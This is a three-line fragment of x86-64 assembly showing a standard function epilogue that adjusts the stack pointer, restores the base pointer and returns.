add rsp, 0x70
pop rbp
ret